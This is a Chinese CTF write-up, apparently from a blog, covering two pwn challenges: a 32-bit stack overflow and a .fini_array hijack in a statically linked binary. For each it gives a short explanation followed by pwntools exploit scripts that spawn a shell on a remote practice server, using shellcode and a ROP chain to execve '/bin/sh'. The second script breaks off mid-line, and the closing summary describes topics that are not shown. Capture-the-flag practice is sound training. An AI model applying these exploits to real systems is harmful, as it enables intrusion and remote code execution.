271 espcially_tu_2016

就是一个栈溢出。


但是这个题最麻烦的是他scanf之后居然缓冲区里面有一个回车,导致我们gets的时候失败了,所以我们就gets了两次。
然后做了个小实验。
setvbuf
exp
from pwn import *
context(os='linux', arch='i386',log_level='debug')
r = remote("node4.buuoj.cn",27739)
#r = process("./271")
elf = ELF("./271")
libc = ELF("./32/libc-2.23.so")
gets_plt = elf.plt['gets']
bss_addr = 0x804a060
payload = 'a' * 36 + 'a' * 8 + p32(gets_plt) + p32(gets_plt) + p32(bss_addr) + p32(bss_addr)
r.sendlineafter("What's your name?\n", payload)
r.sendlineafter("What's your favorite number?\n", "1")
r.sendline(asm(shellcraft.sh()))
r.interactive()
272 pwnable_317

会发现RELRO是半开的,但是其实因为这道题是静态链接,所以我们还是可以劫持.fini_array。
开始读程序。

我们可以任意地址写,但是长度只有0x18个字节,并不足以进行利用。
所以我们考虑劫持fini_array进行多次任意写。
然后制造rop。
但是我们要注意,这个程序的fini_array数组有两个。
所以只能跑两个函数。
exp
from pwn import*
r = remote("node4.buuoj.cn", 29087)
context.log_level = "debug"
fini_array = 0x4B40F0
main_addr = 0x401B6D
libc_csu_fini = 0x402960
esp = fini_array + 0x10
leave_ret = 0x401C4B
ret = 0x401016
rop_syscall = 0x471db5
rop_pop_rax = 0x41e4af
rop_pop_rdx = 0x446e35
rop_pop_rsi = 0x406c30
rop_pop_rdi = 0x401696
bin_sh_addr = 0x4B419A
def write(addr,data):
r.recv()
r.send(str(addr))
r.recv()
r.send(data)
write(fini_array,p64(libc_csu_fini) + p64(main_addr))
write(bin_sh_addr,"/bin/sh\x00")
write(esp,p64(rop_pop_rax))
write(esp+8,p64(0x3b))
write(esp+16,p64(rop_pop_rdi))
write(esp+24

本文详细探讨了栈溢出漏洞及其利用技术,包括如何利用scanf后的缓冲区回车来影响gets函数,以及如何通过精心构造的payload实现远程代码执行。此外,还分析了两道CTF题目,涉及半开RELRO下的.fini_array劫持、offbynull利用,以及通过内存管理漏洞进行堆操作。文章深入讲解了漏洞利用过程,并提供了相关的exploit代码示例。
最低0.47元/天 解锁文章
778

被折叠的 条评论
为什么被折叠?



